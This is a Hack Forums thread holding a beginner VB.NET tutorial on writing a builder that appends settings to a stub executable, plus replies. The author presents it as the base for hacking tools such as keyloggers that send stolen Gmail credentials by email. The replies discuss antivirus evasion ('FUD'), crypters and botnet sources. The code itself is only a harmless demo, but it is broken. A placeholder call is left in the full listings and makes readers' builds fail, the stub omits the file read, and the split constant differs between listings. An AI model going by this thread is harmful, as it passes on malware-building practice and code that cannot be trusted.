

Forum:[Hack Forums](#)

Thread: [\[VB.NET\]\[TUT\] How to Make A Builder and Stub! \[N00B PROOF!\]\[Super Source TuT\]](#)

Black Hat Jack - December 22, 2009, 8:02 pm

How To Make A Builder And a Stub!

Made By LeG10N

Hello there! today we are going to make a Builder! and a Stub! I know what your thinking, "Why would i want to do this? i just want to program hacking tools!" truth be told, this is the base for most hacking tools! Want to make a keylogger? Then how would you send the user name and password for the gmail to the other program? the easiest way, is with a builder!

If you get any errors. or dont understand something, just post your question, I will be happy to help any and every problem that occurs with my Tutorial.

Note: if you dont understand where a function goes. Either download the source at the bottom, Or just look ahead, i will be posting full page of source as i go along.

Requirements to use this tutorial:

some basic knowledge

[Visual Basic Express](#) (or Visual Studio)

Well then, now that we have all that, lets get started!

We are going to make a new project. lets call it "Our Builder".

Make your form look like this

[IMG][http://i48.\[censored\].com/2r6lmoo.jpg](http://i48.[censored].com/2r6lmoo.jpg)[/IMG]

What you will need:

1 Button, name it "Generate"

3 textboxes, name them "UsernameBox", "PasswordBox" and "RandomBox"

4 Check Boxes, name them "AntiDebuggerCB", "AntiSantaCB", "AntiNaziCB" and "AntiEverythingCB"

Good so far, double click the button labeled "MAKE ME!", a you should see something like this:

Code Public Class Form1

Private Sub Generate_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles Generate.Click

End Sub

End Class

Now we need to import System.IO so we don't have to type io.* when we are doing something with

out files. its just a time saver.

put this on the very top of the code, Above "Public Class Form1"

Code Imports System.IO

Now lets make our strings, these will go right after "Public Class Form1"

lets make a constant. this will be used so when we split the file on the other side. It tells the command we are going to call later, how to split the file. this needs to be completely unique but still memorable so put this

Code Const FileSplit = "--!ZOMG-A-TUTORIAL!--"

Now we need some strings! this will hold all our stuff, right now all we need is something to hold the stub in. and the strings for the boxes
Code Dim stub, AntiSanta, AntiDebugger, AntiNazi, AntiEverything As String

Our code so far should look like this:

Code Imports System.IO

Public Class Form1

Const FileSplit = "--!ZOMG-A-TUTORIAL!--"

Dim stub, AntiSanta, AntiDebugger, AntiNazi, AntiEverything As String

Private Sub Generate_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)

Handles Generate.Click

End Sub

End Class

As to prevent crashing, lets put all of this inside of a "Try" statement that way, if there is an error. it doesn't just crash. it will tell us the error

Code Try

Catch ex As Exception

MsgBox(ex.ToString)

End Try

From here on, everything will go inside the Try statement, that being said, lets open the stub. if you don't know how to do that i'll go through it...if not...i still will

First we need to open our stub:

Code FileOpen(1, Application.StartupPath & "\sub.exe", OpenMode.Binary, OpenAccess.Read)

heres how this works:.

Code FileOpen(Reference number, file name including the path, mode to open the file as, Mode Of Access)

Reference number: pick a number, this number will be used to call the file, you will see this more in effect later just make sure you dont use the same number twice. when you get more advanced and get to the point that you are opening more then one file at a time. you want to make sure your not opening the wrong file.

File name including the path: This is the path to the file and the name of the file. just like opening a file it needs to know where to open it, the Application.StartupPath is the path that it was started in, we do this to make sure that even if the file is in some random folder, as long as the stub is in the same folder it will still open it

Mode to open the file as: this is fairly simple. since we are opening a binary file, the mode is binary (I've never needed to use the other modes)

Mode Of Access: there are Read, ReadWrite, Write and Default, we are selecting Read, since we don't need to write to the file right now

Our code so far:

```
Code Imports System.IO
Public Class Form1
    Const FileSplit = "--!ZOMG-A-TUTORIAL!--"
    Dim stub, AntiSanta, AntiDebugger, AntiNazi, AntiEverything As String
    Private Sub Generate_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
        Handles Generate.Click
```

```
        Try
```

```
            FileOpen(1, Application.StartupPath & "\sub.exe", OpenMode.Binary, OpenAccess.Read)
```

```
            Catch ex As Exception
                MsgBox(ex.ToString)
```

```
            End Try
```

```
        End Sub
```

```
    End Class
```

Next we need to make sure the stubs length is the same as the file

```
Code stub = Space(LOF(1))
```

How this function works:

```
Code Space(Size)
```

&

LOF(Reference number)The Space(Size) function fills the string with the amount of bytes as the length specified the LOF(File number) function stands for Length Of File. and it does as it says, it gets the Length of the Specified via the files Reference number

So this command makes the "stub" string the same length as the File specified.

Now that that is done. lets get the file and put it into our "stub" string

```
Code FileGet(1, stub)How this code works:
```

Code FileGet(Reference Number, String to put file into)Reference number: should be the number of the file you want to get, because we are getting the file number 1, we will use 1 as the number

String to put file into: this is where we are going to store the file

Now we no longer need the file open so we can close it

```
Code FileClose(1)
```

How the Code works:

Code FileClose(Reference Number)This is rather simple, if you have caught on so far, we are just

closing the file 1, since we have stored it in the "stub" string

Our code so far:

Code Imports System.IO

Public Class Form1

Const FileSplit = "--!ZOMG-A-TUTORIAL!--"

Dim stub, AntiSanta, AntiDebugger, AntiNazi, AntiEverything As String

Private Sub Generate_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)

Handles Generate.Click

Try

FileOpen(1, Application.StartupPath & "\sub.exe", OpenMode.Binary, OpenAccess.Read)

stub = Space(LOF(1))

FileGet(Reference Number, String to put file into)

FileClose(1)

Catch ex As Exception

MsgBox(ex.ToString)

End Try

End Sub

End Class

Awesome! Now the hard part is over....it just gets confusing for some. haha, but don't worry I'll walk you through it.

The way we are passing over our information, I haven't been able to passover anything but strings, (if its possible please tell me)

So we are going to make sure everything that we are passing over is a string

Here is what we are passing over to our stub:

Username (string)

Password (string)

Text in the random box (string)

Check boxes:

anti-debugger (boolean)

anti-santa (boolean)

anti-nazi (boolean)

anti-everything (boolean)

well it looks like we have a small problem, we have 3 items that are ready to be passed over already, however the check boxes are not, as we can not pass boolean values. so lets make some simple code to make sure that we can do this, im not going to explain this. you should get it. im just explaining making the generator. If you have problems with this just post or PM me, I will be happy to help.

Code If AntiDebuggerCB.Checked = True Then

AntiDebugger = "True"

Elseif AntiSantaCB.Checked = True Then

AntiSanta = "True"

```
Elseif AntiNaziCB.Checked = True Then
```

```
    AntiNazi = "True"
```

```
Elseif AntiEverythingCB.Checked = True Then
```

```
    AntiEverything = "True"
```

```
End If
```

Our code so far:

```
Code Imports System.IO
```

```
Public Class Form1
```

```
    Const FileSplit = "---!ZOMG-A-TUTORIAL!--"
```

```
    Dim stub, AntiSanta, AntiDebugger, AntiNazi, AntiEverything As String
```

```
    Private Sub Generate_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
```

```
Handles Generate.Click
```

```
    Try
```

```
        FileOpen(1, Application.StartupPath & "\sub.exe", OpenMode.Binary, OpenAccess.Read)
```

```
        stub = Space(LOF(1))
```

```
        FileGet(Reference Number, String to put file into)
```

```
        FileClose(1)
```

```
    If AntiDebuggerCB.Checked = True Then
```

```
        AntiDebugger = "True"
```

```
    Elseif AntiSantaCB.Checked = True Then
```

```
        AntiSanta = "True"
```

```
    Elseif AntiNaziCB.Checked = True Then
```

```
        AntiNazi = "True"
```

```
    Elseif AntiEverythingCB.Checked = True Then
```

```
        AntiEverything = "True"
```

```
    End If
```

```
    Catch ex As Exception
```

```
        MsgBox(ex.ToString)
```

```
    End Try
```

```
End Sub
```

```
End Class
```

OK! now we have everything in string form, lets move on then!

Our next step is to open a new file and save all this information to it. but first, lets make sure that the file isn't there so we don't over write it or cause an error.

```
Code If File.Exists(Application.StartupPath & "\Program.exe") Then
```

```
    File.Delete(Application.StartupPath & "\Program.exe")
```

```
End If
```

You should be able to see what this does. if the file we want to make exists it deletes it, that way we aren't writing over a file. and possibly screwing something up

So lets open the file, just as before. except this time. we are going to use the OpenMode.ReadWrite option. insted of OpenMode.Read, that way we can actualy write to the file.

```
Code FileOpen(2, Application.StartupPath & "\Program.exe", OpenMode.Binary,  
OpenAccess.ReadWrite)
```

Notice that we used a different Reference number. this is because its a different file.

OMG almost done! lets cram alllll this information into this, BUT WAIT! we need to do this a special way. first. note how we save it, as we are not going to have any reference as to what file is what, we have to either remember the order. or copy+paste it some where

So, lets call a FilePut() function (don't let your brain explode....il explain it)

Code FilePut(2, stub & FileSplit & UsernameBox.Text & FileSplit & PasswordBox.Text & FileSplit & RandomBox.Text & FileSplit & AntiDebugger & FileSplit & AntiNazi & FileSplit & AntiSanta & FileSplit & AntiEverything)

I know, your thinking "SLOW DOWN LEG10N! I CAN THINK THAT FAST HOLY SHIT!" just take it one step at a time. and relax :) i'm walking you through it

Heres how the function is called:

Code FilePut(Reference Number, String to put in the file)

Clearly the reference number is the number of the file we want to write to, and for us, thats 2 so it points to "Program.exe"

But now for the long..... brain blowing.... crotch popping part.... the string.... Dont be scared. This is just like a normal string.

But to combine all our strings into one. We are adding "FileSplit" in between each one, so that we can split it later. so the "&" char is just like before when opening our stub, it takes two strings and combines them into one. we are just putting them in one area so we dont have to dim a string just for that.

Now that that is done, we can close the file

Code FileClose(2)

Same as before, just closeting the file since its written.

ZOMG! we are done with the Generator! lets make a message box to congratulate us!

Code MsgBox("WAY TO GO! IT WORKED!")

Our full code:

Code Imports System.IO

Public Class Form1

Const FileSplit = "--!ZOMG-A-TUTORIAL!--"

Dim stub, AntiSanta, AntiDebugger, AntiNazi, AntiEverything As String

Private Sub Generate_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)

Handles Generate.Click

Try

FileOpen(1, Application.StartupPath & "\sub.exe", OpenMode.Binary, OpenAccess.Read)

stub = Space(LOF(1))

FileGet(Reference Number, String to put file into)

FileClose(1)

```

If AntiDebuggerCB.Checked = True Then
    AntiDebugger = "True"
ElseIf AntiSantaCB.Checked = True Then
    AntiSanta = "True"
ElseIf AntiNaziCB.Checked = True Then
    AntiNazi = "True"
ElseIf AntiEverythingCB.Checked = True Then
    AntiEverything = "True"
End If

```

```

If File.Exists(Application.StartupPath & "\Program.exe") Then
    File.Delete(Application.StartupPath & "\Program.exe")
End If

```

```

FileOpen(2, Application.StartupPath & "\Program.exe", OpenMode.Binary,
OpenAccess.ReadWrite)
FilePut(2, stub & FileSplit & UsernameBox.Text & FileSplit & PasswordBox.Text & FileSplit &
RandomBox.Text & FileSplit & AntiDebugger & FileSplit & AntiNazi & FileSplit & AntiSanta &
FileSplit & AntiEverything)
FileClose(2)

```

```

Catch ex As Exception
    MsgBox(ex.ToString)
End Try
End Sub
End Class

```

WHOOO!!!! half done! Yes i know its extremely long, but hey, its detailed!

right about now would be a good time to grab some food, maybe a drink. prOn...what ever floats your boat.

On to the Stub, just like before make your Stub form look like this:

[IMG][http://i49.\[censored\].com/9hktxt.jpg](http://i49.[censored].com/9hktxt.jpg)[IMG]

the names are as follows:

three labels for the textbox's text, named "UsernameText", "PasswordText" and "RandomText"

Four labels for the Checkbox's, named "AntiDebuggerText", "AntiSantaText", "AntiEverythingText" and "AntiNaziText"

This time instead of double clicking a button, double click the background. you should see something like this:

```
Code Public Class Form1
```

```

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles MyBase.Load

```

```

End Sub
End Class

```

now, all of our code is going to go within "Form1_Load", the rest of this will be easy. since we already did it!, The only hard part will be the Split function, well understanding it will be hard for some.

Note: if you have not read the first half, please do so now before continuing

Just like before we need to import System.IO so we dont have to write IO.* infront of what we are doing with the file.

Code Imports System.IO

this is extremely important! make sure this is EXACTLY as it is in the other side. or this wont work because we are using this as a spacer to tell Split() how to split the string.

Code Const FileSplit = "--!ZOMG-A-TUTORIAL!--"

And before we can do anything. we need to dim us some new strings, you will notice that we have a new thing here. "Settings()", no its not a function, its a string, to be more specific. this is an array. it can hold more then one string, addressed by a number, just like with the files.

Code Dim self, Settings() As String

You will notice that this is different. we don't have a button, we are going to do all this while its still starting up. it makes it easier.

Lets open the program. however this time, we are not opening a different file. we are having our program open itself. so instead of typing "Application.StartupPath", since the file could have been renamed, lets type "Application.ExecutablePath" this is the path and the filename to the executable. this makes it alot easier

Code FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read)Just as we did in the builder. lets just open this with the Access mode "Read"

And once again. we need to fill the string with the right amount of bytes. if you need to know how this works. please read the first half of this tutorial

Code self = Space(LOF(1))

now we will get the file. but notice something, this time, we are not getting a different file, we are storing our full EXE in a string why is this you may ask? its simple, when use the FilePut() function we put our Stub into the file, but we put more then that! we added all our information to it didn't we? such as the username and password. and our check boxes! and that is appended to the back of our file!

Code FileGet(1, self)

Now to close the file.

Code FileClose(1)

Our code so far:

Code Imports System.IO

Public Class Form1

Const FileSplit = "--!ZOMG-A-TUTORIAL!--"

Dim self, Settings() As String

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs)

Handles MyBase.Load

FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read)

self = Space(LOF(1))

FileClose(1)

End Sub

End Class

OK OK this is where i am going to confuse a lot of you, we are going to take our "self" string. and split it up, so that we can use it later.

Code Settings = Split(self, FileSplit)

Now lets explain how this works, so that you can use this for anything you want.

The function goes as follows:

Code `Split(String to split, Char or string to split by)`

So lets say we have a string that says "We Are LeG10N" and we split it by spaces, the function would be:

Code `OurString = Split("We Are LeG10N", " ")`

To put it simply. the function finds each space, (" ") and splits it there, to break it down into several strings

After that, OurString now has 3 parts. (0), (1), and (2), this will be hard for a lot of new programmers. seeing as most of us count starting at 1, and not 0, but in the programing world 0 the base number.

OurString now has the following strings

Code `OurString(0) = "We"`

`OurString(1) = "Are"`

`OurString(2) = "LeG10N"`

And thats exactly how this works for our use, remember how we ordered our FilePut() function? (this is why i said it would be a good idea to copy+paste

Lets review our FilePut() Function.

Code `FilePut(2, stub & FileSplit & UsernameBox.Text & FileSplit & PasswordBox.Text & FileSplit & RandomBox.Text & FileSplit & AntiDebugger & FileSplit & AntiNazi & FileSplit & AntiSanta & FileSplit & AntiEverything)`

OK so the way we ordered this. and since we are splitting this massive string into parts via "FileSplit" we should have 8 strings in Settings() and they are as follows

[qoute]

`Settings(0) = our stub (this file)`

`Settings(1) = the text from our username box`

`Settings(2) = the text from our password box`

`Settings(3) = the text from our random box`

`Settings(4) = the string we made for our Anti-Debugger check box`

`Settings(5) = the string we made for our Anti-Nazi check box`

`Settings(6) = the string we made for our Anti-Santa check box`

`Settings(7) = the string we made for our Anti-Everything check box[/qoute]`

So for now we can use this as our reference. so that we don't have to think of this like crazy while we are programing.

Now! since we got the hard part out of the way. lets put out Settings() strings to work!

Code `UserNameText.Text = Settings(1)`

`PasswordText.Text = Settings(2)`

`RandomText.Text = Settings(3)` This should be clear by now, our username text now equals the text we stored from our username text box in the first program. The same thing for the password text and the random text.

We are almost done! using our reference we made, we can make a if then elseif statement!

'from here on it just requires a little thinking. we just piece together what we know so far. and we test the remaining Settings()

'strings to see if they = "True" like we set them to be if it was checked!

If `Settings(4) = "True"` Then

```

AntiDebuggerText.Text = "Hey you cant debug me!"
ElseIf Settings(5) = "True" Then
    AntiNaziText.Text = "Good, I dont like Nazi's either"
ElseIf Settings(6) = "True" Then
    AntiSantaText.Text = "ZOMG! your going to get coal in your stocking!"
ElseIf Settings(7) = "True" Then
    AntiEverythingText.Text = "Well in that case. I'm Anti-you!"
End If

```

Our Final code for this project:

Code Imports System.IO

Public Class Form1

Const FileSplit = "--!ZOMG-A-TUTORIAL!--"

Dim self, Settings() As String

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs)

Handles MyBase.Load

FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read)

self = Space(LOF(1))

FileClose(1)

Settings = Split(self, FileSplit)

UserNameText.Text = Settings(1)

PasswordText.Text = Settings(2)

RandomText.Text = Settings(3)

If Settings(4) = "True" Then

AntiDebuggerText.Text = "Hey you cant debug me!"

ElseIf Settings(5) = "True" Then

AntiNaziText.Text = "Good, I dont like Nazi's either"

ElseIf Settings(6) = "True" Then

AntiSantaText.Text = "ZOMG! your going to get coal in your stocking!"

ElseIf Settings(7) = "True" Then

AntiEverythingText.Text = "Well in that case. I'm Anti-you!"

End If

End Sub

End Class

HOLY PROGRAMMER BATMAN! WHERE DONE! haha, good work! you finished a Builder and a stub!

"happy programing!"

Joey K - December 22, 2009, 8:05 pm

Soul Collectors is better IMO, but good job =]

Black Hat Jack - December 22, 2009, 8:07 pm

EDIT: forgot the download link for the source: [here ya go!](http://www.#!/?d=7V5HQX2K) http://www.#!/?d=7V5HQX2K

SNiFF - December 22, 2009, 8:09 pm

Thanks good post i will take a look at the source

Theref - December 22, 2009, 8:11 pm

(Dec 22, 2009 09:05 PM)DasHaxer Wrote: [\[CITE\]](#) Soul Collectors is better IMO, but good job =]No, this guys is better. Considering his post counts ?

Nice tutorial mate, keep it up!

Black Hat Jack - December 22, 2009, 8:18 pm

(Dec 22, 2009 09:11 PM)Theref Wrote: [\[CITE\]](#) No, this guys is better. Considering his post counts ?

Nice tutorial mate, keep it up!
thanks guys! sure il keep making them

The End Gamer - December 23, 2009, 12:24 am

Excellent Tutorial Dude!!

Good Job =)

& Keep it Up The Good Work

Voluxe - December 23, 2009, 4:01 am

Awesome !

keep going with those tutorials

Gizmo - December 23, 2009, 4:05 am

I like this tutorial, thanks for it dude (Y)

Black Hat Jack - December 23, 2009, 8:51 pm

if you guys have any ideas for new tutorials, please, post or PM me!

Hyptonix - December 24, 2009, 1:18 am

Excellent tut. This will come in handy one day.

Black Hat Jack - December 24, 2009, 11:34 pm

thanks for the comments guys. remember, if you have any problems with this source what so ever. feel free to post or PM me.

newbie223 - December 25, 2009, 2:45 am

good tut im sure people will be appreciated by this

H3x0S - December 25, 2009, 5:20 am

WOW man, it is complete tutorial. Very nice!

edyscape - December 26, 2009, 8:13 am

Sorry for being a complete noob, but what can i do with it? xD

i compiled this, builded something and it made some files, i was like wtf? opened them and both gave an error, :P

av2019 - December 26, 2009, 8:20 am

Really Liked this tut mate thanks a lot :D

Black Hat Jack - December 26, 2009, 2:04 pm

(Dec 26, 2009 09:13 AM)edyscape Wrote: [\[CITE\]](#) Sorry for being a complete noob, but what can i do with it? xD

i compiled this, builded something and it made some files, i was like wtf? opened them and both

gave an error, :P

well bud before running this you should have 2 files. then after executing the generator and putting in random shit, you should get a 3rd program, program.exe, execute that and it should have the same info you put in the generator ?

Soul Collector - December 26, 2009, 2:33 pm

Everyone rip my tutorials...

Black Hat Jack - December 26, 2009, 3:55 pm

(Dec 26, 2009 03:33 PM)Soul Collector Wrote: [\[CITE\]](#) Everyone rip my tutorials...

excuse me? i spent two days writing this.

i did not rip a damn thing. i wrote the source by hand. if your claiming i ripped this then i will need to see the post you are claiming i ripped from. plus the source that is remotely similar to this. i have not and will not ever rip a damn thing. dont you try to say this is ripped. i dont care who you are. its not ripped.

Black Hat Jack - January 2, 2010, 4:12 pm

RESURRECTION BUMP!

bumpin my tutorial back to life

RidingSlow - January 3, 2010, 1:32 pm

Great tutorial, helped me out a lot in my program!

Estemarilix - January 3, 2010, 3:45 pm

(Dec 22, 2009 09:11 PM)Theref Wrote: [\[CITE\]](#) No, this guys is better. Considering his post counts ?

Nice tutorial mate, keep it up!

Post count and rep do not prove anything or consider anything.

Back on the thread:Nice and understandable tut, keep it up ? .

Black Hat Jack - January 3, 2010, 3:51 pm

thats for the positive feed back guys!

Vice - January 3, 2010, 8:54 pm

Nice tutorial. Just a heads up though, instead of using the If Then statements to turn the check box booleans to strings, just use:

```
Code CheckBox1.Checked.ToString  
:)
```

Black Hat Jack - January 3, 2010, 10:02 pm

(Jan 3, 2010 09:54 PM)Vice Wrote: [\[CITE\]](#) Nice tutorial. Just a heads up though, instead of using the If Then statements to turn the check box booleans to strings, just use:

```
Code CheckBox1.Checked.ToString  
:)
```

awesome. thanks for the tip. il be sure to add that in my future tutorials! ?

rapidguide - January 4, 2010, 10:52 am

ho man.....how much u spend for this ho god.....super work..! i am expecting more like this

Black Hat Jack - January 4, 2010, 1:28 pm

thanks dude. after i finish setting up my steam hacker im going to start work on a vb.net IRC bot tutorial. (that one should take a few days.)

TheBlackMarket - January 4, 2010, 1:32 pm

Really Nice Work mate! Keep It Up! :) awesome. Thanks for sharing it.

Black Hat Jack - January 5, 2010, 9:59 am

thanks dude! starting work on a new tut now!

pcstalljr - January 7, 2010, 10:48 pm

thanks for this dude! ive been needing help on this for a while!

Black Hat Jack - January 8, 2010, 11:26 am

thanks bud, im here if anyone has any problems with it or questions.

BETAhkr - January 8, 2010, 12:17 pm

Yah, This is pretty nice, Good job!

Black Hat Jack - January 9, 2010, 1:57 pm

thanks bud! i have finally gotten my hands on alot of botnet sources. so i can start on my botnet tut latter this week =D

iiBlazee - January 10, 2010, 3:32 pm

Is this fud, if not can you show us how to make it FUD without using a crypter. Also, would it be FUD scantime only or do you know how to make it FUD runtime and scantime.

Ph?us - January 10, 2010, 3:39 pm

What you are doing is writing to the end of file. This method is detected by Avira and many more other anti-viruses to follow. This method is not recommended.

Black Hat Jack - January 10, 2010, 9:26 pm

(Jan 10, 2010 04:32 PM)iiBlazee Wrote: [\[CITE\]](#) Is this fud, if not can you show us how to make it FUD without using a crypter. Also, would it be FUD scantime only or do you know how to make it FUD runtime and scantime.

No, this is not FullyUnDetected, as you get better with programing you will see methods to make it FUD, i will be writing a tutorial on encryption and decryption later in this series. I am however hesitant to release it as it will not stay FUD for long. given the popularity of this tutorial.

(Jan 10, 2010 04:39 PM)DarkSel Wrote: [\[CITE\]](#) What you are doing is writing to the end of file. This method is detected by Avira and many more other anti-viruses to follow. This method is not recommended.

This is nothing more then a simple example of making a simple binder it is not meant to be fully undetected nor is it meant to show advanced methods of doing such, As this tutorial is designed for beginners.

As a side note. If you have any recommendations for code, Or any more advanced methods I will be happy to include them and credits in my more advanced tutorials that i will be finishing as soon as i get a break from school.

pcstalljr - January 11, 2010, 9:10 pm

awesome!!!! i was able to mod the hell out of it and give it about 35 feautres and all. but i have a problem. i have two variables that will not seem to go through no matter what i do! any help dude?

optiikzz - January 11, 2010, 9:15 pm

Very Nice Tutorial...But What can i really use the builder for Send me A private message or quote back plz.

Black Hat Jack - January 11, 2010, 9:23 pm

(Jan 11, 2010 10:10 PM)pcstalljr Wrote: [\[CITE\]](#) awesome!!!! i was able to mod the hell out of it and give it about 35 feautres and all. but i have a problem. i have two variables that will not seem to go through no matter what i do! any help dude?

Well i cant help if i dont know what your code is; so paste the filePut line here. and il see whats wrong.

(Jan 11, 2010 10:15 PM)optiikzz Wrote: [\[CITE\]](#) Very Nice Tutorial...But What can i really use the builder for Send me A private message or quote back plz.

this is an extreamly basic tutorial. from here you can learn about more things. such as SMTP email sending, and you would use this method to pass the username and password over to the stub, that would send the email (EX: a keylogger)

88idiot88 - January 11, 2010, 11:10 pm

Thanks =]

0000000000000000000010000

aiobeta - January 12, 2010, 12:51 pm

Excellent Tutorial Dude!!

Thanks For This

Black Hat Jack - January 12, 2010, 9:23 pm

thanks for the feed back guys! keep it up! keep this thread alive haha

jindagani - January 14, 2010, 11:18 am

So nicely explained along with syntax, thank LeG10N

kenzor101 - January 14, 2010, 11:22 am

Thanks man this helped me alot i have been trying to look for how to make a stub and builder instead of just editing a sourcecode project.

Keep up the great tutorials man, i'm bookmarking this.

jindagani - January 14, 2010, 3:07 pm

I got question, how is program.exe able to replicate stub.exe form.

groundzero - January 14, 2010, 4:09 pm

(Jan 14, 2010 04:07 PM)jindagani Wrote: [\[CITE\]](#) I got question, how is program.exe able to replicate stub.exe form.

The cryptor copies the info from stub.exe and places it at the beginning of program.exe so when program.exe is run, stub.exe is actually run because of the way programs on windows run (starts from beginning and works its way to the end following commands).

Basically program.exe contains the stub.exe and then AFTER the stub in program.exe comes all of

the information you're passing that stub.exe reads.

Black Hat Jack - January 14, 2010, 5:03 pm

(Jan 14, 2010 05:09 PM)groundzero Wrote: [\[CITE\]](#) The cryptor copies the info from stub.exe and places it at the beginning of program.exe so when program.exe is run, stub.exe is actually run because of the way programs on windows run (starts from beginning and works its way to the end following commands).

Basically program.exe contains the stub.exe and then AFTER the stub in program.exe comes all of the information you're passing that stub.exe reads.
you kinda got it backwards. let me put it this way.

say we have our stub. and say this this big:(represented as -)
|-----|

ok. now we have our information that we want to use, and inbetween each part of information we have what is labeled as "FileSplit":

|FS 1 FS 2 FS 3| << see how FS (our FileSplit string) is inbetween the variables?

so in the builder we are essentially adding this information to the end of our stub, like so:

|-----| + |FS 1 FS 2 FS 3|

so now its

|-----FS 1 FS 2 FS 3|

now, the stub gets all of its code. and puts it in a variable. lets call that "OurProgramData". so it gets all of its information and stores it in "OurProgramData".

then the split command comes into play. this is where everyone is getting confused. it takes all that data, that is being seperated by our "FileSplit" string, and splits it. so:

|-----FS 1 FS 2 FS 3|

becomes:

----- << this is our stub. stored in OurProgramData(0)

1 << this our first variable. stored in OurProgramData(1)

2 << this our second variable. stored in OurProgramData(2)

[/align]3 << this our third variable. stored in OurProgramData(3)

and now it all can be used to set the variables when the program starts.

if thats unclear just tell me.

jindagani - January 14, 2010, 5:25 pm

Thanks for explaining...

kami117 - January 15, 2010, 4:56 am

ohh very long tut but very usefull exc job bro tnx for this tut

Black Hat Jack - January 21, 2010, 11:08 pm

intently shameful bump

S?Nk - January 22, 2010, 12:10 am

Noob proof. Damn if only it was bullet proof.

[img]http://i50.[censored].com/ny78tc.gif[/img]

Black Hat Jack - January 22, 2010, 12:26 am

(Jan 22, 2010 01:10 AM)S4NK Wrote: [\[CITE\]](#) Noob proof. Damn if only it was bullet proof.

[img]http://i50.[censored].com/ny78tc.gif[/img]

that is the biggest...creepiest fucking smily i have ever seen. lol

but yeah ? save it to a bullet proof drive? lol

crawl7 - January 22, 2010, 6:44 am

nice tut man , would rep you if i could XD

S?Nk - January 25, 2010, 10:59 am

Um I've studied builders before. This part you explained oddly (IMO):

Code Now lets explain how this works, so that you can use this for anything you want.

The function goes as follows:

Code:

Split(String to split, Char or string to split by)

So lets say we have a string that says "We Are LeG10N" and we split it by spaces, the function would be:

Code:

OurString = Split("We Are LeG10N", " ")

Shu7down - January 25, 2010, 11:19 am

Good job men. Very good.

aebob - February 2, 2010, 11:05 am

hehehe... ive done it... but im a noob..lol...thanks for the tutorial

Kink - February 2, 2010, 11:20 am

This is very Nice, And is probably going to help alot of people.

bukibv - February 2, 2010, 11:28 am

nice tutorial thnks ..

Prospect - February 2, 2010, 12:08 pm

Why do I get an error when running "Program.exe" after it was created by a builder?

[IMG]http://i50.[censored].com/15qp5bs.png[/IMG]

EDIT: After I press continue "Program.exe" actually shows up but with empty label boxes...

Black Hat Jack - February 3, 2010, 11:50 pm

hey bud! mind posting your source so i can see whats going on? il need the source of the stub and

builder. unless you just downloaded what i uploaded. then delete program .exe and try again. if that doesnt work. try recompiling.

Ex-Coder - February 4, 2010, 12:49 am

If the error is "Index is outside boundry" something like that. I think the filesplit isn't the same on BUILDER and STUB.

Before reading or making the builder and the stub. Make sure you know what is a BUILDER and STUB. If not , watch this video.

Code <http://www.youtube.com/watch?v=RTf0XtBMRZo> <-- credit eleqtriq =)

Nice tutorial.

? Elektrisk ? - February 4, 2010, 12:55 am

This is amazing. Thanks a lot for taking the time to write it.

Black Hat Jack - February 6, 2010, 4:55 pm

(Feb 4, 2010 01:55 AM)Elektrisk Wrote: [\[CITE\]](#) This is amazing. Thanks a lot for taking the time to write it.

thanks for the feed back bud!

-x(F-O-X)x- - February 8, 2010, 10:33 pm

Awsome!!!

You Rock dude... more detail & understanable than another

Thanks U so f**** much!!

Kotei - February 8, 2010, 11:28 pm

Dam dude this is epic. How long did it take you to write this. FFS!!!

jonesm - February 11, 2010, 7:52 am

thanks for the noob tut

TheBlackMarket - February 12, 2010, 5:39 pm

Awesome Binder Mate! looks Great.

Black Hat Jack - February 12, 2010, 10:46 pm

Thanks for the response guys! keep up the thanks!

Opitix - February 13, 2010, 6:03 pm

Thank you for taking the time to make this tutorial. It is the best tutorial on making a stub and builder. I appreciate it. Ignore all negative comments please.

Black Hat Jack - February 13, 2010, 9:13 pm

(Feb 13, 2010 07:03 PM)Opitix Wrote: [\[CITE\]](#) Thank you for taking the time to make this tutorial. It is the best tutorial on making a stub and builder. I appreciate it. Ignore all negative comments please.

Thanks bud!

Wow! Almost 2,000 views and only 70 reply's? Come on guys tell me if you like it!

Black Hat Jack - February 17, 2010, 9:55 am

shamless bump to keep my tread alive

TheBlackMarket - February 17, 2010, 10:33 am

Awesome Tutorial! thank you. Keep It Up.

kbhawkman - February 17, 2010, 2:59 pm

Its too long and Im too lazy lol. But nice tutorial, I skipped a few parts :)

Black Hat Jack - February 17, 2010, 4:54 pm

(Feb 17, 2010 03:59 PM)kbhawkman Wrote: [\[CITE\]](#) Its too long and Im too lazy lol. But nice tutorial, I skipped a few parts :)

haha yeah....its a 3 posts long....next time i NEED to make it a pdf..or something.

dog - February 17, 2010, 7:00 pm

I dont get it at all>???

Black Hat Jack - February 17, 2010, 8:14 pm

(Feb 17, 2010 08:00 PM)dog Wrote: [\[CITE\]](#) I dont get it at all>???

If your account wasnt closed i would have asked you to clarify your question. if you dont get a single thing in there. you shouldn't be programing. if you are confused about a single portion. simply clarify your question and i will help you.

Grants - February 18, 2010, 2:52 am

a lot better then a soul's one. THanks a lot!!!

TheHackTime - February 18, 2010, 3:46 am

getting an error ?

Code FileGet(Reference Number, String to put file into)
the errors are:

'Reference' is not declared.

Comma, ')' , or a valid expression continuation expected.

'String' is a class type and cannot be used as an expression.

',' expected.

and my code looks like this at the moment:

Code Imports System.IO

Public Class Form1

Const FileSplit = "---!ZOMG-A-TUTORIAL!--"

Dim stub, AntiSanta, AntiDebugger, AntiNazi, AntiEverything As String

Private Sub Generate_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)

Handles Button1.Click

Try

FileOpen(1, Application.StartupPath & "\sub.exe", OpenMode.Binary, OpenAccess.Read)

stub = Space(LOF(1))

FileGet(Reference Number, String to put file into)

FileClose(1)

If CheckBox1.Checked = True Then

AntiDebugger = "True"

```

ElseIf CheckBox2.Checked = True Then
    AntiSanta = "True"
ElseIf CheckBox3.Checked = True Then
    AntiNazi = "True"
ElseIf CheckBox4.Checked = True Then
    AntiEverything = "True"
End If

```

```

